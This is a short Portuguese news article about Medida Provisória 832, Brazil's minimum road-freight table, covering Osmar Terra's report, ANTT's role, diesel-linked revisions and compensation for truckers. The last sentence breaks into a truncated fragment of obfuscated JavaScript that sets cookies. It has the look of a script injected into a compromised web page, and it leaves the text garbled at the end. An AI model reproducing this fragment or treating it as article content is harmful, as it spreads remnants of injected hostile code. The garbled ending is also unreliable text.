Lei de tabela mínima de frete

No início de julho, estava sendo muito debatida a proposta de lei de tabela mínima de frete, até que ela foi finalmente aprovada por comissão mista presente no Congresso. Chamada de Medida Provisória 832, essa tabela mínima de frente estabelece um preço mínimo para o frete rodoviário. Essa proposta foi feita pelo Deputado Osmar Terra, que é conhecido por ser favorável ao tabelamento, porém com modificações.

Lei de tabela mínima de frete

Pelo que Osmar Terra propõe, a tabela não apresentará exatamente um valor mínimo de frete, mas sim um custo mínimo que busca englobar todos os gastos, incluindo desgaste de veículo e também combustível.

O relatório feito por Osmar Terra, que foi aprovado em votação na Câmara dos Deputados, agradou os caminhoneiros. O texto propõe fixar pisos mínimos para o serviço de transporte. Como calcular isso? A Agência Nacional de Transportes Terrestres, a ANTT, fará isso de acordo com critérios ainda a serem definidos.

Como dito, já está adiantado por Terra que esse piso mínimo precisa cobrir alguns quesitos facilitando a vida dos transportadores, como a manutenção dos veículos e também o descanso dos profissionais. O relatório de Terra ainda deixa claro que esses preços mínimos devem ser revistos de acordo com a variação (negativa ou positiva de +10%) do Diesel.

Osmar Terra também se preocupou com o fato de que as empresas precisam cumprir o que está nessa tabela. Ele clama por punição às empresas que descumprirem o que for combinado após aprovação definitiva, onde o caminhoneiro prejudicado receberá indenização equivalente ao dobro da diferença entre a tabela dessa lei e o valor recebido de forma efetiva. O MP originou, no entanto, não apresenta a possibilidade de multa por parte da ANTT.

A lei de tabela mínima de frente está em vigor desde o dia 20 de julho.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]